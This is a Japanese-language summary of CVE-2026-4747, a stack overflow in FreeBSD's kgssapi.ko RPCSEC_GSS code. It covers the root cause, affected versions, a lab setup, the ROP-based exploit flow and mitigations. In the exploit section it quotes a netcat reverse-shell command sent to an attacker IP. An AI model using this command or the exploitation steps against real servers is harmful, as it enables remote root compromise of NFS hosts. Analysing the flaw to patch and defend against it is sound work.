概要
- CVE-2026-4747 はFreeBSDの kgssapi.ko におけるRPCSEC_GSSのスタックバッファオーバーフロー脆弱性
- NFSサーバ として動作しkgssapi.koをロードした環境で リモートからカーネルRCE(uid 0リバースシェル) が可能
- 攻撃には Kerberos認証済みのユーザ が必要
- 脆弱なバージョン: FreeBSD 13.5 (<p11), 14.3 (<p10), 14.4 (<p1), 15.0 (<p5)
- パッチ済みバージョンでは 境界チェック が追加されている
CVE-2026-4747: FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー脆弱性
-
脆弱性の本質
- sys/rpc/rpcsec_gss/svc_rpcsec_gss.cの svc_rpc_gss_validate関数 で128バイトのスタックバッファにRPCヘッダを再構築
- 固定32バイトのヘッダの後、 oa_lengthバイト分の認証クレデンシャル本体 をバッファにコピー
- oa_lengthの境界チェックがなく、96バイトを超えるとスタックをオーバーフローし リターンアドレスやレジスタを上書き
-
攻撃成立条件
- NFSサーバで kgssapi.koがロード済み
- Kerberos認証(RPCSEC_GSS認証) が有効
- 攻撃者は 有効なKerberosチケット を取得できる(既存ユーザでOK)
- 2049/TCP(NFS)、88/TCP(KDC) へのネットワークアクセス
-
影響範囲
- FreeBSD 13.5 (<p11)
- FreeBSD 14.3 (<p10)
- FreeBSD 14.4 (<p1)
- FreeBSD 15.0 (<p5)
- パッチ済みバージョンでは境界チェック が追加され、oa_lengthが安全な範囲内か検証
攻撃・検証環境構築手順
-
ターゲットVM準備
- FreeBSD 14.4-RELEASE amd64(QEMU, VMware, VirtualBox, bhyve等)
- NFSサーバ有効化&kgssapi.koロード
- MIT Kerberos KDC のセットアップ
- 2CPU以上必須 (NFSスレッド数確保のため)
-
攻撃者ホスト(Linux)準備
- Kerberosクライアント(krb5-user) と python3-gssapi のインストール
- /etc/krb5.conf でKDCのIP・ポートを指定
- /etc/hosts でNFSサービスプリンシパル名とVMのホスト名を一致させる必要
- kinitで Kerberosチケット取得
-
Kerberos環境注意点
- サービスプリンシパル名 (nfs/ホスト名@REALM)が一致していないと認証失敗
- rdns = false, dns_canonicalize_hostname = false をkrb5.confで必ず指定(逆引きによるプリンシパル不一致防止)
エクスプロイト概要
-
攻撃の流れ
- Kerberos GSSコンテキストを確立
- RPCSEC_GSSのDATAパケット で 過大なクレデンシャル を送信しスタックをオーバーフロー
- ROPチェーン でカーネルメモリへシェルコードを書き込み、最終的にリバースシェルを起動
- 各ラウンドで NFSワーカースレッドを1つ消費 (kthread_exitで終了)
- 15ラウンドで シェルコード(432バイト)を分割転送
-
ROPチェーンの役割
- 1ラウンド目: BSS領域を実行可能に(pmap_change_prot)
- 2~14ラウンド目: BSSにシェルコードを書き込み(mov [rdi], rax; ret)
- 15ラウンド目: 残りのシェルコード書き込み+シェルコードエントリへジャンプ
-
シェルコードの動作
- kproc_create で新規カーネルプロセス生成
- 新プロセスで kern_execve を使い /bin/sh -c "mkfifo /tmp/f; sh</tmp/f|nc 攻撃者IP 4444>/tmp/f" を実行
- root権限のリバースシェル を確立
-
注意点・課題
- NFSスレッド数: 15ラウンド必要なため 最低2CPU(=16スレッド) が必須
- Kerberosプリンシパル名の不一致: MIT/Heimdalの違い、DNS逆引き設定で失敗しやすい
- シェルコード分割転送: 400バイト制限のため複数ラウンドで分割書き込み
緩和策・対策
- FreeBSDアップデート: 各バージョンの最新パッチ(p11/p10/p1/p5以降)へ更新
- NFSサーバのRPCSEC_GSS無効化: 不要な場合はkgssapi.koをロードしない
- Kerberosチケット管理: 不要なユーザにチケットを発行しない
- ネットワーク制限: 2049/TCP, 88/TCPへの外部アクセス制限
参考情報
- FreeBSD公式アドバイザリ: FreeBSD-SA-26:08.rpcsec_gss
- CVE: CVE-2026-4747
- Exploit PoC/詳細解析: 各種セキュリティ研究者ブログやPoCリポジトリ
この脆弱性は エンタープライズ環境のNFSサーバ で特に深刻。 Kerberos認証さえ突破できればrootシェル取得が可能 なため、早急なパッチ適用と設定見直しが必要。